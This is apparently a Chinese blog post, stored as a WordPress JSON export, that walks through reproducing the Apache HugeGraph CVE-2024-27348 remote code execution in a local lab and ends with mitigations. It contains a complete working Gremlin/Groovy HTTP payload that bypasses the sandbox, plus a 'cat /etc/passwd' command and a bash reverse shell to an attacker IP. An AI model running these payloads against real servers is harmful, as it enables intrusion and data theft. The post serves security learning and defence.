{"id":113343,"date":"2026-10-06T03:49:16","date_gmt":"2026-10-05T19:49:16","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/113343.html"},"modified":"2026-10-06T03:49:16","modified_gmt":"2026-10-05T19:49:16","slug":"%e4%b8%80%e6%9d%a1-groovy-%e9%93%be%e6%8b%bf%e4%b8%8b%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%9aapache-hugegraph-cve-2024-27348-rce-%e5%a4%8d%e7%8e%b0%e7%ac%94%e8%ae%b0","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/113343.html","title":{"rendered":"\u4e00\u6761 Groovy \u94fe\u62ff\u4e0b\u670d\u52a1\u5668\uff1aApache HugeGraph CVE-2024-27348 RCE \u590d\u73b0\u7b14\u8bb0"},"content":{"rendered":"<p>\u672c\u6587\u4e3a\u5b89\u5168\u5b66\u4e60\u4e0e\u6388\u6743\u6d4b\u8bd5\u7528\u9014&#xff0c;\u6240\u6709\u64cd\u4f5c\u5747\u5728\u672c\u5730\u9776\u573a\u5b8c\u6210&#xff0c;\u8bf7\u52ff\u7528\u4e8e\u672a\u6388\u6743\u76ee\u6807\u3002<\/p>\n<h3>0. \u5148\u8bf4\u8fd9\u4e2a\u6d1e\u6700\u79bb\u8c31\u7684\u5730\u65b9<\/h3>\n<p>\u56fe\u6570\u636e\u5e93\u8fd9\u7c7b\u7cfb\u7edf&#xff0c;\u5e73\u65f6\u5b89\u5168\u5173\u6ce8\u5ea6\u4e0d\u9ad8\u3002\u4f46 Apache HugeGraph \u8fd9\u4e2a\u6f0f\u6d1e\u5b9e\u5728\u592a&#034;\u770b\u8138&#034;\u4e86\u2014\u2014\u5b83\u7684\u5b89\u5168\u6c99\u7bb1\u53ea\u68c0\u67e5\u5f53\u524d\u7ebf\u7a0b\u540d\u662f\u4e0d\u662f\u4ee5\u7279\u5b9a\u5b57\u7b26\u4e32\u5f00\u5934&#xff0c;\u653b\u51fb\u8005\u7528\u53cd\u5c04\u628a\u7ebf\u7a0b\u540d\u4e00\u6539&#xff0c;\u6c99\u7bb1\u5c31\u5f62\u540c\u865a\u8bbe&#xff0c;\u968f\u540e\u53ef\u4ee5\u63d0\u4ea4\u4efb\u610f Groovy \u4ee3\u7801\u76f4\u63a5\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n<p>\u8fd9\u5c31\u597d\u6bd4\u4f60\u5bb6\u5c0f\u533a\u95e8\u7981\u53ea\u68c0\u67e5\u8bbf\u5ba2\u7a7f\u6ca1\u7a7f&#034;\u5de5\u4f5c\u4eba\u5458&#034;\u9a6c\u7532&#xff0c;\u800c\u4e0d\u6838\u5bf9\u5de5\u724c\u2014\u2014\u6211\u968f\u4fbf\u627e\u4ef6\u9a6c\u7532\u5957\u4e0a&#xff0c;\u5c31\u80fd\u5927\u6447\u5927\u6446\u8d70\u8fdb\u53bb\u3002<\/p>\n<p>\u8fd9\u7bc7\u6587\u7ae0\u6211\u4f1a\u628a\u6f0f\u6d1e\u539f\u7406\u8bb2\u900f&#xff0c;\u5e26\u4f60\u5728\u672c\u5730\u628a\u9776\u573a\u642d\u8d77\u6765&#xff0c;\u4e00\u6b65\u6b65\u8d70\u5230\u547d\u4ee4\u6267\u884c&#xff0c;\u5e76\u91cd\u70b9\u62c6\u89e3\u4e00\u4e2a\u51e0\u4e4e\u6240\u6709\u4eba\u90fd\u4f1a\u8e29\u7684\u5751&#xff1a;\u4e3a\u4ec0\u4e48 id \u80fd\u6267\u884c&#xff0c;\u6362\u6210\u53cd\u5f39 Shell \u547d\u4ee4\u5c31\u76f4\u63a5\u62a5\u9519&#xff1f; \u7406\u89e3\u4e86\u8fd9\u4e2a\u5751&#xff0c;\u4f60\u5bf9&#034;\u547d\u4ee4\u6267\u884c&#034;\u548c&#034;\u771f\u6b63\u62ff\u4e0b\u670d\u52a1\u5668&#034;\u4e4b\u95f4\u7684\u8ddd\u79bb\u4f1a\u6709\u5168\u65b0\u7684\u8ba4\u8bc6\u3002<\/p>\n<hr \/>\n<h3>1. \u6f0f\u6d1e\u80cc\u666f<\/h3>\n<h4>1.1 HugeGraph \u662f\u4ec0\u4e48<\/h4>\n<p>Apache HugeGraph \u662f\u767e\u5ea6\u5f00\u6e90\u7684\u4e00\u4e2a\u5206\u5e03\u5f0f\u56fe\u6570\u636e\u5e93&#xff0c;\u4e3b\u6253\u9ad8\u6027\u80fd\u548c\u6c34\u5e73\u6269\u5c55&#xff0c;\u5728\u77e5\u8bc6\u56fe\u8c31\u3001\u63a8\u8350\u7cfb\u7edf\u3001\u5173\u7cfb\u7f51\u7edc\u5206\u6790\u8fd9\u4e9b\u573a\u666f\u91cc\u7528\u5f97\u4e0d\u5c11\u3002<\/p>\n<p>\u5b83\u63d0\u4f9b\u4e86\u4e00\u4e2a Gremlin API&#xff0c;\u652f\u6301\u7528\u6237\u63d0\u4ea4 Groovy \u811a\u672c\u6765\u505a\u56fe\u904d\u5386\u548c\u8ba1\u7b97\u3002\u8fd9\u91cc\u8981\u5212\u91cd\u70b9&#xff1a;Groovy \u672c\u8eab\u662f\u4e00\u95e8\u5b8c\u6574\u7684 JVM \u8bed\u8a00&#xff0c;\u80fd\u529b\u8fdc\u8d85&#034;\u67e5\u4e00\u4e0b\u56fe\u91cc\u7684\u8fb9&#034;\u2014\u2014\u5b83\u80fd\u76f4\u63a5\u8c03\u7528 Java \u7c7b\u5e93\u3002<\/p>\n<p>\u4e5f\u5c31\u662f\u8bf4&#xff0c;\u5982\u679c\u4e0d\u505a\u9650\u5236&#xff0c;Groovy \u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u8fd9\u4e9b\u64cd\u4f5c\u7cfb\u7edf\u7ea7\u522b\u7684\u654f\u611f API&#xff1a;<\/p>\n<p><span class=\"token class-name\">Runtime<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getRuntime<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">exec<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;\u547d\u4ee4&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">new<\/span> <span class=\"token class-name\">ProcessBuilder<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;\u547d\u4ee4&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">start<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<h4>1.2 \u6c99\u7bb1\u662f\u600e\u4e48\u88ab\u7ed5\u8fc7\u7684<\/h4>\n<p>\u5f00\u53d1\u56e2\u961f\u5f53\u7136\u77e5\u9053 Groovy \u80fd\u529b\u592a\u5f3a&#xff0c;\u4e8e\u662f\u52a0\u4e86\u4e00\u4e2a SecurityManager \u505a\u6c99\u7bb1\u9650\u5236\u3002<\/p>\n<p>\u95ee\u9898\u5728\u4e8e\u8fd9\u4e2a\u6c99\u7bb1\u7684\u6821\u9a8c\u903b\u8f91\u6781\u5176\u7b80\u5355&#xff0c;\u6838\u5fc3\u5224\u65ad\u53ea\u6709\u4e00\u6761&#xff1a;\u5f53\u524d\u7ebf\u7a0b\u540d\u662f\u5426\u4ee5 gremlin-server-exec \u6216 task-worker \u5f00\u5934&#xff0c;\u662f\u5c31\u653e\u884c\u3002<\/p>\n<p>\u653b\u51fb\u8005\u8981\u505a\u7684&#xff0c;\u5c31\u662f\u7528\u53cd\u5c04\u62ff\u5230\u5f53\u524d\u7ebf\u7a0b&#xff0c;\u628a\u7ebf\u7a0b\u540d\u6539\u6210\u4ee5 gremlin-server-exec \u5f00\u5934&#xff0c;\u7136\u540e\u63d0\u4ea4\u4efb\u610f Groovy \u4ee3\u7801\u2014\u2014\u5269\u4e0b\u7684\u5c31\u662f\u670d\u52a1\u5668\u66ff\u4f60\u5e72\u6d3b\u4e86\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261005194915-6ac3ff3b7da32.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>1.3 \u5f71\u54cd\u7248\u672c<\/h4>\n<p>\u8fd9\u4e2a\u6f0f\u6d1e\u5f71\u54cd 1.3.0 \u4e4b\u524d\u7684\u6240\u6709\u7248\u672c&#xff0c;\u5b98\u65b9\u5728 1.3.0 \u4e2d\u4fee\u590d\u4e86\u7ebf\u7a0b\u540d\u6821\u9a8c\u903b\u8f91\u3002<\/p>\n<hr \/>\n<h3>2. \u73af\u5883\u642d\u5efa<\/h3>\n<p>\u76f4\u63a5\u7528 Vulhub \u62c9\u73af\u5883&#xff0c;\u4e00\u884c\u547d\u4ee4\u542f\u52a8\u9776\u573a&#xff1a;<\/p>\n<p><span class=\"token function\">docker<\/span> compose up <span class=\"token parameter variable\">-d<\/span><\/p>\n<p>\u542f\u52a8\u540e HugeGraph \u9ed8\u8ba4\u76d1\u542c 8080 \u7aef\u53e3&#xff0c;\u6d4f\u89c8\u5668\u8bbf\u95ee http:\/\/\u4f60\u7684\u9776\u673aIP:8080&#xff0c;\u80fd\u770b\u5230 HugeGraph \u7684\u5404\u4e2a\u63a5\u53e3\u4fe1\u606f&#xff0c;\u5c31\u8bf4\u660e\u73af\u5883\u5c31\u7eea\u4e86\u3002<\/p>\n<p>\u63d0\u793a&#xff1a;\u5982\u679c\u955c\u50cf\u62c9\u53d6\u6162&#xff0c;\u53ef\u4ee5\u914d\u7f6e Docker \u56fd\u5185\u955c\u50cf\u52a0\u901f\u5668\u3002\u9776\u573a\u73af\u5883\u5efa\u8bae\u7528 2\u68384G \u4ee5\u4e0a\u7684\u670d\u52a1\u5668\u8dd1&#xff0c;\u5185\u5b58\u592a\u5c0f\u5bb9\u5668\u53ef\u80fd\u8d77\u4e0d\u6765\u3002<\/p>\n<hr \/>\n<h3>3. \u6f0f\u6d1e\u590d\u73b0<\/h3>\n<p>\u6f0f\u6d1e\u5229\u7528\u7684\u6838\u5fc3\u662f\u4e24\u6b65&#xff1a;\u5148\u7528\u53cd\u5c04\u6539\u7ebf\u7a0b\u540d\u7ed5\u8fc7\u6c99\u7bb1&#xff0c;\u518d\u6784\u9020 ProcessBuilder \u6267\u884c\u547d\u4ee4\u3002<\/p>\n<h4>3.1 \u5b8c\u6574\u6570\u636e\u5305<\/h4>\n<p>\u628a\u4e0b\u9762\u7684\u8bf7\u6c42\u590d\u5236\u5230 Burp Repeater \u6216\u7528 curl \u53d1\u9001\u5373\u53ef&#xff08;\u6ce8\u610f\u628a Host \u6362\u6210\u4f60\u7684\u9776\u673a\u5730\u5740&#xff09;&#xff1a;<\/p>\n<p>POST \/gremlin HTTP\/1.1<br \/>\nHost: \u9776\u673aIP:8080<br \/>\nContent-Type: application\/json<br \/>\nConnection: close<\/p>\n<p>{<br \/>\n    &#034;gremlin&#034;: &#034;Thread thread &#061; Thread.currentThread();Class clz &#061; Class.forName(\\\\&#034;java.lang.Thread\\\\&#034;);java.lang.reflect.Field field &#061; clz.getDeclaredField(\\\\&#034;name\\\\&#034;);field.setAccessible(true);field.set(thread, \\\\&#034;SL7\\\\&#034;);Class processBuilderClass &#061; Class.forName(\\\\&#034;java.lang.ProcessBuilder\\\\&#034;);java.lang.reflect.Constructor constructor &#061; processBuilderClass.getConstructor(java.util.List.class);java.util.List command &#061; java.util.Arrays.asList(\\\\&#034;id\\\\&#034;);Object processBuilderInstance &#061; constructor.newInstance(command);java.lang.reflect.Method startMethod &#061; processBuilderClass.getMethod(\\\\&#034;start\\\\&#034;);org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());&#034;,<br \/>\n    &#034;bindings&#034;: {},<br \/>\n    &#034;language&#034;: &#034;gremlin-groovy&#034;,<br \/>\n    &#034;aliases&#034;: {}<br \/>\n}<\/p>\n<h4>3.2 \u7b2c\u4e00\u6bb5\u903b\u8f91&#xff1a;\u53cd\u5c04\u6539\u7ebf\u7a0b\u540d<\/h4>\n<p><span class=\"token class-name\">Thread<\/span> thread <span class=\"token operator\">&#061;<\/span> <span class=\"token class-name\">Thread<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">currentThread<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token class-name\">Class<\/span> clz <span class=\"token operator\">&#061;<\/span> <span class=\"token class-name\">Class<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">forName<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;java.lang.Thread&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span>reflect<span class=\"token punctuation\">.<\/span><\/span>Field<\/span> field <span class=\"token operator\">&#061;<\/span> clz<span class=\"token punctuation\">.<\/span><span class=\"token function\">getDeclaredField<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;name&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\nfield<span class=\"token punctuation\">.<\/span><span class=\"token function\">setAccessible<\/span><span class=\"token punctuation\">(<\/span><span class=\"token boolean\">true<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\nfield<span class=\"token punctuation\">.<\/span><span class=\"token function\">set<\/span><span class=\"token punctuation\">(<\/span>thread<span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;gremlin-server-exec-xxx&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>\u9010\u884c\u89e3\u91ca&#xff1a;<\/p>\n<ul>\n<li>Thread.currentThread() \u62ff\u5230\u5f53\u524d\u6b63\u5728\u6267\u884c\u7684\u7ebf\u7a0b\u5bf9\u8c61&#xff1b;<\/li>\n<li>getDeclaredField(&#034;name&#034;) \u53cd\u5c04\u62ff\u5230 Thread \u7c7b\u7684 name \u5b57\u6bb5&#xff08;\u7ebf\u7a0b\u540d\u5c31\u5b58\u5728\u8fd9\u91cc&#xff09;&#xff1b;<\/li>\n<li>setAccessible(true) \u5173\u95ed Java \u7684\u8bbf\u95ee\u63a7\u5236\u68c0\u67e5\u2014\u2014\u56e0\u4e3a name \u662f\u79c1\u6709\u5b57\u6bb5&#xff0c;\u4e0d\u6539\u8fd9\u4e2a\u65e0\u6cd5\u5199\u5165&#xff1b;<\/li>\n<li>field.set(thread, \u65b0\u540d\u5b57) \u76f4\u63a5\u628a\u7ebf\u7a0b\u540d\u6539\u6389\u3002\u53ea\u8981\u65b0\u540d\u5b57\u4ee5 gremlin-server-exec \u5f00\u5934&#xff0c;\u540e\u7eed\u6240\u6709\u64cd\u4f5c\u90fd\u4f1a\u88ab\u6c99\u7bb1\u5f53\u6210&#034;\u5408\u6cd5\u5185\u90e8\u8c03\u7528&#034;\u3002<\/li>\n<\/ul>\n<p>\u8fd9\u91cc\u4f53\u73b0\u4e86\u53cd\u5c04\u7684\u5a01\u529b&#xff1a; Java \u7684 private \u8bbf\u95ee\u63a7\u5236\u53ea\u5728&#034;\u6b63\u5e38\u5199\u4ee3\u7801&#034;\u65f6\u751f\u6548&#xff0c;\u4e00\u65e6\u653b\u51fb\u8005\u901a\u8fc7\u53cd\u5c04\u8c03\u7528 setAccessible(true)&#xff0c;\u8fd9\u5c42\u4fdd\u62a4\u5c31\u88ab\u7ed5\u8fc7\u4e86\u3002<\/p>\n<h4>3.3 \u7b2c\u4e8c\u6bb5\u903b\u8f91&#xff1a;\u6784\u9020\u547d\u4ee4\u6267\u884c<\/h4>\n<p><span class=\"token class-name\">Class<\/span> processBuilderClass <span class=\"token operator\">&#061;<\/span> <span class=\"token class-name\">Class<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">forName<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;java.lang.ProcessBuilder&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>List<\/span> command <span class=\"token operator\">&#061;<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Arrays<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">asList<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;id&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token class-name\">Object<\/span> processBuilderInstance <span class=\"token operator\">&#061;<\/span> constructor<span class=\"token punctuation\">.<\/span><span class=\"token function\">newInstance<\/span><span class=\"token punctuation\">(<\/span>command<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\nstartMethod<span class=\"token punctuation\">.<\/span><span class=\"token function\">invoke<\/span><span class=\"token punctuation\">(<\/span>processBuilderInstance<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getInputStream<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<ul>\n<li>\u7528\u53cd\u5c04\u62ff\u5230 ProcessBuilder \u7c7b&#xff08;\u5b83\u7528\u4e8e\u542f\u52a8\u5916\u90e8\u8fdb\u7a0b&#xff09;&#xff1b;<\/li>\n<li>\u628a\u547d\u4ee4 id \u5305\u88c5\u6210 List \u4f20\u5165&#xff1b;<\/li>\n<li>\u53cd\u5c04\u8c03\u7528 start() \u65b9\u6cd5\u542f\u52a8\u8fdb\u7a0b&#xff1b;<\/li>\n<li>\u6700\u540e\u7528 IOUtils.toString() \u8bfb\u53d6\u547d\u4ee4\u7684\u8f93\u51fa\u6d41&#xff0c;\u901a\u8fc7 Groovy \u7684\u8fd4\u56de\u503c\u56de\u663e\u51fa\u6765\u3002<\/li>\n<\/ul>\n<p>\u53d1\u9001\u540e&#xff0c;\u54cd\u5e94\u4e2d\u56de\u663e\u4e86 uid&#061;33(www-data)&#xff0c;\u8bf4\u660e\u6211\u4eec\u5df2\u7ecf\u80fd\u5728\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u4e86\u3002<\/p>\n<h4>3.4 \u6267\u884c\u5176\u4ed6\u547d\u4ee4<\/h4>\n<p>\u628a\u547d\u4ee4\u6362\u6210\u5e26\u53c2\u6570\u7684&#xff0c;\u6bd4\u5982\u8bfb\u53d6\u7cfb\u7edf\u8d26\u6237\u6587\u4ef6&#xff0c;\u6ce8\u610f\u8981\u628a\u547d\u4ee4\u548c\u53c2\u6570\u62c6\u6210 List \u7684\u72ec\u7acb\u5143\u7d20&#xff1a;<\/p>\n<p><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>List<\/span> command <span class=\"token operator\">&#061;<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Arrays<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">asList<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;cat&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;\/etc\/passwd&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>\u8fd9\u662f ProcessBuilder \u548c\u5728\u7ec8\u7aef\u6572\u547d\u4ee4\u7684\u5173\u952e\u533a\u522b&#xff0c;\u4e0b\u4e00\u8282\u8be6\u7ec6\u8bb2\u3002<\/p>\n<hr \/>\n<h3>4. \u91cd\u70b9\u62c6\u89e3&#xff1a;\u4e3a\u4ec0\u4e48\u53cd\u5f39 Shell \u76f4\u63a5\u62a5\u9519&#xff1f;<\/h3>\n<p>\u8fd9\u662f\u8fd9\u4e2a\u6f0f\u6d1e\u6700\u6709\u5b66\u4e60\u4ef7\u503c\u7684\u5730\u65b9\u3002\u5f88\u591a\u540c\u5b66\u4e00\u770b id \u80fd\u6267\u884c&#xff0c;\u5c31\u60f3\u5f53\u7136\u5730\u628a\u547d\u4ee4\u6362\u6210\u53cd\u5f39 Shell&#xff1a;<\/p>\n<p><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Arrays<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">asList<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;bash&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;-i&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;&gt;&amp;&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;\/dev\/tcp\/\u653b\u51fbIP\/9999&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;0&gt;&amp;1&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>\u7ed3\u679c\u670d\u52a1\u5668\u76f4\u63a5\u8fd4\u56de 500 \u9519\u8bef\u3002<\/p>\n<h4>4.1 \u6839\u56e0&#xff1a;ProcessBuilder \u4e0d\u7ecf\u8fc7 Shell \u89e3\u6790<\/h4>\n<p>\u6211\u4eec\u5e73\u65f6\u5728\u7ec8\u7aef\u6572\u547d\u4ee4&#xff0c;\u5176\u5b9e\u662f Shell&#xff08;bash \u6216 sh&#xff09;\u5728\u5e2e\u4f60\u505a\u89e3\u6790\u3002&gt;&amp;\u3001\/dev\/tcp\/&#8230;\u30010&gt;&amp;1\u3001\u7ba1\u9053\u7b26 | \u8fd9\u4e9b\u7b26\u53f7&#xff0c;\u5168\u90fd\u662f Shell \u7684\u7279\u6709\u8bed\u6cd5&#xff0c;\u4e0d\u662f\u7a0b\u5e8f\u672c\u8eab\u80fd\u7406\u89e3\u7684\u53c2\u6570\u3002<\/p>\n<p>\u4f46 ProcessBuilder \u4e0d\u4e00\u6837\u3002\u5b83\u76f4\u63a5 fork \u4e00\u4e2a\u5b50\u8fdb\u7a0b\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f&#xff0c;\u53c2\u6570\u539f\u6837\u4f20\u9012&#xff0c;\u4e0d\u7ecf\u8fc7\u4efb\u4f55 Shell \u89e3\u91ca\u3002<\/p>\n<p>\u5f53\u4f60\u5199&#xff1a;<\/p>\n<p><span class=\"token class-name\">Arrays<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">asList<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;bash&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;-i&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;&gt;&amp;&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;\/dev\/tcp\/1.2.3.4\/9999&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;0&gt;&amp;1&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>ProcessBuilder \u7684\u7406\u89e3\u662f&#xff1a;\u201c\u542f\u52a8 bash&#xff0c;\u4f20\u7ed9\u5b83 4 \u4e2a\u53c2\u6570&#xff1a;-i\u3001&gt;&amp;\u3001\/dev\/tcp\/&#8230;\u30010&gt;&amp;1\u201d\u3002<\/p>\n<p>\u800c\u5728 bash \u770b\u6765&#xff0c;&gt;&amp; \u8fd9\u79cd\u7b26\u53f7\u6839\u672c\u4e0d\u662f\u5408\u6cd5\u7684\u547d\u4ee4\u884c\u53c2\u6570\u2014\u2014\u5b83\u672c\u8be5\u7531 Shell \u5728\u542f\u52a8 bash \u4e4b\u524d\u5c31\u89e3\u6790\u6389&#xff0c;\u73b0\u5728\u5374\u88ab\u5f53\u6210\u666e\u901a\u6587\u672c\u4f20\u4e86\u8fdb\u6765&#xff0c;\u4e8e\u662f\u62a5\u9519\u3002<\/p>\n<h4>4.2 \u4e00\u4e2a\u5bf9\u6bd4\u8868\u5e2e\u4f60\u5f7b\u5e95\u7406\u89e3<\/h4>\n<table>\n<tr>\u5199\u6cd5\u8c01\u6765\u89e3\u6790\u7279\u6b8a\u7b26\u53f7\u7ed3\u679c<\/tr>\n<tbody>\n<tr>\n<td>\u7ec8\u7aef\u76f4\u63a5\u6572 bash -i &gt;&amp; \/dev\/tcp\/&#8230;<\/td>\n<td>Shell&#xff08;bash&#xff09;\u5148\u89e3\u6790 &gt;&amp; \u7b49<\/td>\n<td>\u6b63\u5e38<\/td>\n<\/tr>\n<tr>\n<td>ProcessBuilder \u76f4\u63a5\u4f20 &gt;&amp;<\/td>\n<td>\u6ca1\u6709 Shell&#xff0c;\u7b26\u53f7\u539f\u6837\u5f53\u53c2\u6570<\/td>\n<td>\u62a5\u9519 500<\/td>\n<\/tr>\n<tr>\n<td>ProcessBuilder \u4f20 [&#034;cat&#034;,&#034;\/etc\/passwd&#034;]<\/td>\n<td>\u65e0\u7279\u6b8a\u7b26\u53f7&#xff0c;cat \u76f4\u63a5\u6536\u53c2\u6570<\/td>\n<td>\u6b63\u5e38<\/td>\n<\/tr>\n<tr>\n<td>ProcessBuilder \u4f20 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\u8bed\u6cd5&#xff0c;\u90a3\u5c31&#xff1a;<\/p>\n<li>\u8981\u4e48\u628a\u590d\u6742\u547d\u4ee4\u7f16\u7801\u540e\u4f20\u8f93&#xff0c;\u5230\u76ee\u6807\u4e0a\u518d\u89e3\u7801\u4ea4\u7ed9 bash \u6267\u884c&#xff08;\u53ef\u4ee5\u89c4\u907f\u53c2\u6570\u89e3\u6790\u548c\u7279\u6b8a\u5b57\u7b26\u95ee\u9898&#xff09;&#xff1b;<\/li>\n<li>\u8981\u4e48\u5148\u5f80\u76ee\u6807\u5199\u4e00\u4e2a\u811a\u672c\u6587\u4ef6&#xff0c;\u518d\u7528 bash \u6267\u884c\u8fd9\u4e2a\u811a\u672c\u3002<\/li>\n<p>\u4f46\u8fd9\u4e24\u6761\u8def\u5728\u5b9e\u9645\u64cd\u4f5c\u4e2d\u90fd\u8fd8\u6709\u4e00\u5806\u7ec6\u8282\u8981\u5904\u7406&#xff1a;\u7f16\u7801\u7528\u4ec0\u4e48\u683c\u5f0f\u3001\u82b1\u62ec\u53f7\u5c55\u5f00\u600e\u4e48\u5199\u3001\u5982\u4f55\u5206\u9636\u6bb5\u628a\u811a\u672c\u843d\u76d8\u518d\u6267\u884c\u3001\u7f51\u7edc\u4e0d\u901a\u600e\u4e48\u6392\u67e5\u2026\u2026\u8fd9\u4e9b\u5df2\u7ecf\u5c5e\u4e8e&#034;\u4ece\u547d\u4ee4\u6267\u884c\u5230 GetShell&#034;\u7684\u5b8c\u6574\u540e\u5229\u7528\u73af\u8282&#xff0c;\u5c55\u5f00\u8bb2\u7bc7\u5e45\u5f88\u957f\u3002<\/p>\n<p>\u6211\u628a\u8fd9\u90e8\u5206\u5b8c\u6574\u7684\u7ed5\u8fc7\u8fc7\u7a0b&#xff08;\u5305\u62ec Base64 \u7f16\u7801\u3001\u82b1\u62ec\u53f7\u5c55\u5f00\u3001\u5206\u9636\u6bb5\u843d\u76d8\u3001\u53cd\u5f39 Shell \u9a8c\u8bc1&#xff09;\u4ee5\u53ca\u4e00\u952e\u5229\u7528\u811a\u672c&#xff0c;\u90fd\u6574\u7406\u5728\u4e86\u6211\u7684\u5b89\u5168\u5b66\u4e60\u7ad9\u70b9\u548c\u793e\u7fa4\u91cc&#xff0c;\u9700\u8981\u7684\u540c\u5b66\u53ef\u4ee5\u770b\u6587\u672b\u65b9\u5f0f\u83b7\u53d6\u3002<\/p>\n<hr \/>\n<h3>5. \u4fee\u590d\u5efa\u8bae<\/h3>\n<ul>\n<li>\u5347\u7ea7 HugeGraph \u5230 1.3.0 \u53ca\u4ee5\u4e0a\u7248\u672c&#xff0c;\u5b98\u65b9\u4fee\u590d\u4e86 SecurityManager \u7684\u7ebf\u7a0b\u540d\u6821\u9a8c\u903b\u8f91&#xff1b;<\/li>\n<li>\u6682\u65f6\u65e0\u6cd5\u5347\u7ea7\u65f6&#xff0c;\u5728\u53cd\u5411\u4ee3\u7406\u5c42&#xff08;Nginx \u7b49&#xff09;\u5bf9 \/gremlin \u63a5\u53e3\u505a\u8bbf\u95ee\u63a7\u5236&#xff0c;\u53ea\u5141\u8bb8\u53d7\u4fe1 IP \u8bbf\u95ee&#xff1b;<\/li>\n<li>\u5982\u679c\u4e1a\u52a1\u4e0d\u9700\u8981\u52a8\u6001 Groovy \u6267\u884c&#xff0c;\u76f4\u63a5\u5173\u95ed\u6216\u7981\u7528 Gremlin API&#xff1b;<\/li>\n<li>\u4ee5\u975e root \u7528\u6237\u8fd0\u884c\u670d\u52a1&#xff0c;\u914d\u5408 Docker \u7684 &#8211;cap-drop&#061;ALL \u7b49\u5b89\u5168\u914d\u7f6e\u9650\u5236\u8fdb\u7a0b\u6743\u9650&#xff1b;<\/li>\n<li>\u90e8\u7f72 WAF&#xff0c;\u5bf9 \/gremlin \u8bf7\u6c42\u4f53\u505a\u89c4\u5219\u5339\u914d&#xff0c;\u62e6\u622a\u5305\u542b ProcessBuilder\u3001getDeclaredField\u3001Runtime 